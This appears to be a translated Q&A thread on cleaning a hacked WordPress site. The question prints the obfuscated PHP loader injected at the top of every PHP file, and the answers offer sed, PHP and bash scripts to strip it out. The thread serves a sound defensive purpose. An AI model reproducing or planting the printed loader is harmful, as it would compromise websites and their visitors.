使用Start和End删除PHP文件中的字符串 - Removing a string in a PHP file with Start and End

我正在尝试清理一个被漏洞感染的WordPress。

所有php文件的开头都添加了这样一行：

<?php if(!isset($GLOBALS["'x61'156'x75'156'x61"])) { $ua=strtolower($_SERVER["'x48'124'x54'120'x5f'125'x53'105'x52'137'x41'107'x45'116'x54"]); if ((! strstr($ua,"'x6d'163'x69'145")) and (! strstr($ua,"'x72'166'x3a'61'x31"))) $GLOBALS["'x61'156'x75'156'x61"]=1; } ?><?php $yaagutonoj = 'Qtpz)#]341]88M4P8]37]278]225]241]334]3672%164") && (!isset($GLOBALS["%x61%156%x75%156%x61"])))) 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explode(chr((172-128)),'6639,47,39,57,8359,37,1364,26,8276,46,633,34,1297,67,3647,46,9998,54,6236,32,730,67,4866,53,8595,47,8086,50,4270,29,8931,45,6153,35,6589,50,3518,55,978,28,9858,23,3432,54,8976,33,4745,64,9640,65,5067,31,7543,24,1390,61,7444,31,9313,36,2878,67,883,38,8703,23,3000,48,3792,59,7023,20,5407,67,4245,25,6872,55,6686,46,8891,40,6768,55,3282,53,1911,29,8491,64,5819,62,4117,63,8762,44,1054,27,1817,52,8726,36,5683,49,8136,42,3371,38,9221,32,7281,51,4840,26,3622,25,1974,33,6847,25,5967,37,3731,61,4535,40,3242,40,7778,52,1518,62,7378,66,4299,68,452,47,8806,25,96,28,667,63,4052,65,9179,42,2420,57,3048,25,7970,70,499,68,1869,42,921,57,8234,42,7686,24,3851,65,830,53,7733,45,1143,26,2551,42,2351,69,8185,49,1741,25,9588,52,2593,52,7475,68,2502,49,3983,69,7637,49,4367,52,1451,67,1270,27,2113,60,6732,36,9060,56,3693,38,7710,23,9705,59,1680,61,6927,35,5098,23,2945,55,2645,62,9116,63,4575,60,5931,36,4477,58,3916,34,2173,59,3109,45,261,25,8322,37,4919,54,9396,21,5546,67,567,66,2232,28,1580,70,4180,30,797,33,8040,46,5351,56,6464,28,124,45,6268,48,8861,30,7332,46,355,36,7567,70,7830,42,321,34,6074,26,5264,62,5474,27,7191,53,5613,46,7900,70,6492,60,9349,47,7084,69,169,53,5881,50,1006,48,2330,21,3154,32,2260,70,5153,66,9253,60,1081,62,4973,26,2067,46,5219,45,286,35,4999,68,6408,56,1650,30,9009,51,3409,23,1766,51,9764,41,5501,45,8396,35,6100,53,4635,58,6004,70,7872,28,4693,52,5121,32,9901,68,9969,29,9417,68,9534,54,3950,33,411,41,10052,54,1234,36,8555,40,4210,35,6823,24,2707,50,3186,56,4809,31,2477,25,0,39,7153,38,8831,30,6358,50,6188,48,2007,60,3573,49,1940,34,5326,25,3073,36,1169,65,7244,37,9805,53,8642,61,222,39,8431,60,6962,61,9881,20,5659,24,9485,49,391,20,2757,67,5752,67,2824,54,4419,58,6316,42,5732,20,3486,32,3335,36,6552,37,7043,41,8178,7'); $nibnkcwalu=substr($yaagutonoj,(49971-39865),(41-34)); if (!function_exists('twwdyxiyuj')) { function twwdyxiyuj($gfkbogqkzl, $xpwveotxbw) { $bepljhengq = NULL; for($oznuhtwycd=0;$oznuhtwycd<(sizeof($gfkbogqkzl)/2);$oznuhtwycd++) { $bepljhengq .= substr($xpwveotxbw, $gfkbogqkzl[($oznuhtwycd*2)],$gfkbogqkzl[($oznuhtwycd*2)+1]); } return $bepljhengq; };} $azydrlsozu="'x20'57'x2a'40'x73'152'x76'152'x63'167'x61'147'x65'160'x20'52'x2f'40'x65'166'x61'154'x28'163'x74'162'x5f'162'x65'160'x6c'141'x63'145'x28'143'x68'162'x28'50'x32'63'x35'55'x31'71'x38'51'x29'54'x20'143'x68'162'x28'50'x35'71'x36'55'x35'60'x34'51'x29'54'x20'164'x77'167'x64'171'x78'151'x79'165'x6a'50'x24'163'x61'166'x74'150'x64'153'x69'152'x62'54'x24'171'x61'141'x67'165'x74'157'x6e'157'x6a'51'x29'51'x3b'40'x2f'52'x20'145'x63'141'x6f'156'x74'151'x6a'146'x6c'40'x2a'57'x20"; $xpkuyrwixg=substr($yaagutonoj,(30604-20491),(47-35)); $xpkuyrwixg($nibnkcwalu, $azydrlsozu, NULL); $xpkuyrwixg=$azydrlsozu; $xpkuyrwixg=(455-334); $yaagutonoj=$xpkuyrwixg-1; ?>

这一行的内容对于每个文件都是随机的，但它们都以<?php if(!isset($GLOBALS[开头，以-1; ?>结尾。

我正试图创建一个PHP文件，将这一行删除到我的所有文件中。

以下是我现在所做的：

<?php
$dir_iterator = new RecursiveDirectoryIterator(dirname(__FILE__));
$iterator = new RecursiveIteratorIterator($dir_iterator);
$infected = 0;
$clean = 0;
foreach ($iterator as $file) {
if($file->getExtension() == 'php'){
    $f = fopen($file->getPathname(), 'r+');
    $start = '<?php if(!isset($GLOBALS[';
    $end = '-1; ?>';
    if(fgets($f, 26) == '<?php if(!isset($GLOBALS[')
    {
        echo '<p style="color: red;"> The file '. $file->getPathname() . ' is infected ! </p>';
        // Don't know what to do here
        $infected++;            
    }
    else
    {
        echo '<p style="color: green;"> The file '. $file->getPathname() . ' is clean ! </p>';
        $clean++;
    }

}
}
echo $infected.' files infected <br />';
echo $clean. ' files clean.';

？>

但是我对PHP中的文件编辑不太满意，所以我想删除以$start开头、以$end结尾的行。

我有点迷上了PHP文档中的fseek和fwrite，真的不知道应该使用哪一个以及如何使用。

正在等待您的帮助：）！

您可能需要为此作业切换工具。使用sed(1):

$ sed -e '1 s/^<'?php if(!isset($GLOBALS'[.*-1; '?>//' *.php

如果您没有shell访问权限，您可以用PHP编写一个瘦的exec()包装器。

我对服务器被毁感到愤怒，当您没有root访问服务器的权限时，我已经将脚本作为一个类来解决这个问题。

// Import and setup Guardian script
include '../NarniaGuardian/NarniaGuardian.php';
$Guard = new NarniaGD;
$Guard->cleanFiles('../wordpress/');

您可以导入代码，将其指向恶意软件的根，并更新恶意软件样本库，直到一切都干净为止。

请在这里查看更多信息https://github.com/Pilskalns/Narnia-Guardian

OOP方法可以很容易地进一步编辑，以监控是否再次出现任何问题。

我编写了删除此恶意软件的脚本。

function deleteMalware()
{
    $directory_iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator(ABSPATH, RecursiveDirectoryIterator::SKIP_DOTS));
    foreach($directory_iterator as $filename => $file)
    {
        if ($file->getExtension() !== "php") {
            continue;
        }
        $content = file_get_contents($filename);
        $reg = '/<'?'s*php's*if'(!isset'('$GLOBALS'['"''''x61(.*?)-1;'s*'?>/s';
        $count = 0;
        $newContent = preg_replace ($reg, '', $content, -1, $count);
        if($count === 1) {
            file_put_contents ($filename, $newContent);
        }
    }
};

我希望它能有所帮助：）

我的一个客户遇到了完全相同的问题，我们不得不运行它，我们发现可能有几种类型的PHP文件，但并非所有文件的开头都相同，只有当服务器上的所有PHP文件都以?php开头时，上述所有解决方案才会起作用，否则任何事情都会损坏您的文件。

我们使用的解决方案（下面提供）捕获服务器上所有受感染的PHP文件，备份它们（使用原始路径），将它们恢复到原始状态，并编写一个总结文件它对我的客户非常有效（大约21000~PHP文件在7分钟内扫描并修复）为了使用它，请将以下代码复制到主目录上的文件中将文件命名为php_fix.sh

通过键入使其可执行chmod +x php_fix.sh并运行它：./php_fix.sh y

您也可以从我的网站下载：http://okgamestudio.com/sites/igal/php_fix.sh

#!/bin/bash
infected_files=0
fixed_files=0
DATE=`date +"%d-%m-%y %T"`
find . -name "*.php" |grep -v 2fix > php_files.dat
php_files=`cat php_files.dat |wc -l`
if [ ! `ls 2fix` ]
then
    mkdir 2fix
fi
while read file_name
do
    if [[ `head -1 $file_name |grep GLOBALS` ]]
    then
            if [[ $1 == "y" ]]
        then
        fixed_string=`head -1 $file_name |grep GLOBALS | awk -F"?>" '{print $3}'`
        cp --parents $file_name 2fix/
            sed -i "1s/.*/$fixed_string/" $file_name
        #sed -i "1s/.*/'<'?php/" $file_name
        #sed -i '1d' $file_namea
        let fixed_files=$fixed_files+1
        else
        let infected_files=$infected_files+1
    fi  
    fi
done < php_files.dat
echo $DATE, "Scannded files:" $php_files, "Fixed files:" $fixed_files, "Infected: " $infected_files >> fixed_files.dat
exit

# head -1 $file_name |grep GLOBALS | awk -F"?>" '{print $3}'

为了便于使用和修复错误，我分叉了Narnia-Guardian。

下载WordpressGuardian源代码https://github.com/liruqi/WordpressGuardian
备份受影响的wordpress副本
bash NarniaGuardian.sh [path to wordpress root]
在blacklist.txt中查找可疑/恶意的无法实现的长行代码，更新模式
返回步骤2

这可以清理注入的代码。

另一种可能的方法是在PHP文件中查找长行。如有必要，可将其移除或更换为<?php。

使用sed -i.bak 's/^<'?php if(!isset($GLOBALS'[.*-1; '?>//' *.php对我很有用。本质上只是用-i.bak 替换-e

我曾经处理过这个问题，最后我不得不创建一个脚本来删除/var/www目录中的所有行。

你可以在这里看到https://stackoverflow.com/a/26285498/3000681

问候。